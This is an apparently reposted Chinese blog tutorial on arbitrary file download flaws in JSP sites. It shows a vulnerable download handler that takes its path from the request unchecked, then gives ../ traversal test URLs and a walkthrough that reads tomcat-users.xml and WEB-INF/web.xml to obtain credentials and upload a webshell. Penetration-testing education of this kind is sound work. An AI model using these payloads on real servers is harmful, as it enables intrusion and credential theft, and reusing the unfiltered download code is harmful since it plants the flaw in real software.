码迷,mamicode.com
首页 > Web开发 > 详细

任意文件下载漏洞 jsp站点

时间:2016-07-31 11:33:56      阅读:1138      评论:0      收藏:0      [点我收藏+]

标签:

出现位置:

一般的网站都提供下载文件功能,常规的思路是使用一个动态页面(php、jsp、aspx、asp等)将待下载文件作为参数一般参数名称为filename,如.php?filename/.jsp?filename等。一般实现过程是,在根据参数filename的值,获得该文件在网站上的绝对路径,读取文件,然后是直接发送给客户端下载。一般实现代码如下:(jsp实现文件下载的代码,其它语言实现过程类似)
<%@ page contentType="application;" %>
<%@ page import="java.util.*,java.io.*,java.sql.*,java.text.*"%>
<%
response.setContentType("application/unknown");
//url参数传入文件名
  String filename =
java.net.URLDecoder.decode(request.getParameter("fileName")); 
  String filename2 = "";
  filename2 = filename;
//获得文件绝对路径
  File file = new
  File("/home/zzang/www/jsphome/jm/thesisUpload/"+filename);       
  byte b[] = new byte[(int)file.length()];
  //将待下载文件直接返回给客户端
response.setHeader("Content-Disposition", "attachment;filename=" + filename2 + ";");
  if (file.isFile()){
  BufferedInputStream fin = new BufferedInputStream(new FileInputStream(file));
  BufferedOutputStream outs = new BufferedOutputStream(response.getOutputStream());
  int read = 0;
  while ((read = fin.read(b)) != -1){
  outs.write(b,0,read);}
  outs.close();
  fin.close();}
%>
该代码实现了将文件下载到客户端,但是如果没有对传入的参数filename进行过滤,就可以实现下载服务任何文件,产生任意文件下载漏洞。

 

测试方法:

1. 在路径中添加aa/../看是否可以回溯    (确定网站跟目录)

原链接: 
http://edu.test.net/test/student_demo/Question_DownLoad.php?filename=2006101884105_Reply.doc
修改:
http://edu.test.net/test/student_demo/Question_DownLoad.php?filename=aa/../2006101884105_Reply.doc
两次下载文件相同,继续测试

 

2. 确定是否可以下载任意文件

修改请求为:
http://edu.test.net/test/student_demo/Question_DownLoad.php?filename=test/student_demo/Question_DownLoad.php 
试图下载该下载文件的源代码,如果提示不存在,则可能是任意文件下载漏洞,在路径中添加../,直到下载到该文件为止。如果提示类型错误,可能不是任意文件下载漏洞。
最终下载成功的请求
http://edu.test.net/test/student_demo/Question_DownLoad.php?filename=../../../test/student_demo/Question_DownLoad.php

 

利用过程

利用此漏洞无论什么站点,第一步都是确定网站的根目录。因此首先介绍一下怎样确定站点根目录。
第一步:确定网站的根目录,一般待下载的文件都是放到网站的子文件夹下,子文件夹数目不定,因此需要使用路径回溯(../)确定网站的根目录。
例如:一个下载点:
http://www.test.com.cn/DownLoad.aspx?fileName=%C4%EA%B6%C8%C9%F3%BA%CB%B1%ED.doc

可以下载文件。
可以看到download.aspx在网站根目录,因此下载 
http://www.test.com.cn/DownLoad.aspx?fileName=download.aspx
出错:

使用回溯(../)确定网站根目录
http://www.test.com.cn/DownLoad.aspx?fileName=../download.aspx
失败
http://www.test.com.cn/DownLoad.aspx?fileName=../../download.aspx

下载成功,可以确定该下载点,两次回溯就可以回到根目录。打开文件看一下内容:

可以确定下载的文件是正确的。

 

 

对于该漏洞对于不同的网站利用方法有些差异。因此下面分别讲述:

1、 jsp站点
该部分主要讲述两种简单的利用方法,下载tomcat的配置文件和下载网站本身的源代码。
    1)Jsp站点的一个下载点:
http://www.test.cn/down.jsp?filename=%D5%D0%B1%EA%CF%EE%C4%BF%C9%EA%C7%EB1.doc&path=C:/Program%20Files/Apache%20Software%20Foundation/Tomcat%206.0/webapps/ZTBWZ/upload/%D5%D0%B1%EA%CF%EE%C4%BF%C9%EA%C7%EB1.doc
可以看到该下载点,有两个参数,其实是一样的,很容易看出path是待下载文件的在服务器上的绝对路径。而且网站放到tomcat的安装路径下,这一点很重要,说明可以直接访问tomcat的manager/html
请求: http://www.test.cn/manager/html

可以看到访问正常,输入用户名和密码就可以登录。
因此下一步就是下载tomcat的配置文件tomcat-users.xml(里面保存登录的用户名和密码)
首先需要对tomcat配置有些了解,具体配置如下:

tomcat-users.xml 在conf文件下,这样就可以直接使用下载点下载该文件。
因此构造url如下:
http://www.test.cn/down.jsp?filename=tomcat-users.xml&path=C:/Program%20Files/Apache%20Software%20Foundation/Tomcat%206.0/conf/tomcat-users.xml
下载成功:

打开该文件获得用户名和密码

登录

成功

下面直接,上传一个war文件,就可以获得webshell,完成了一次简单的测试。

2)下载网站本身源代码
下载点: http://test.edu.cn/file.do?method=downFile&fileName=20080505094144.doc
测试一下不能访问http://test.edu.cn/manager/html

上述方法失效。
首先下载网站的配置文件jsp的配置文件放在根目录WEB-INF/Web.xml下(一般都有很多内容,有时含有数据库连接用户名和密码等关键信息)
访问:
http://test/file.do?method=downFile&fileName=../WEB-INF/Web.xml

下载后打开,关键内容:

后台使用fckeditor编辑器,该编辑器漏洞很多,直接使用该编辑器直接上传路径
http://test//admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=image&Connector=connectors/jsp/connector

选择一个jspshell直接上传,获得webshell,没有任何限制

系统权限,渗透完成。

 

任意文件下载漏洞 jsp站点

标签:

原文地址:http://www.cnblogs.com/yuleitest/p/5722524.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!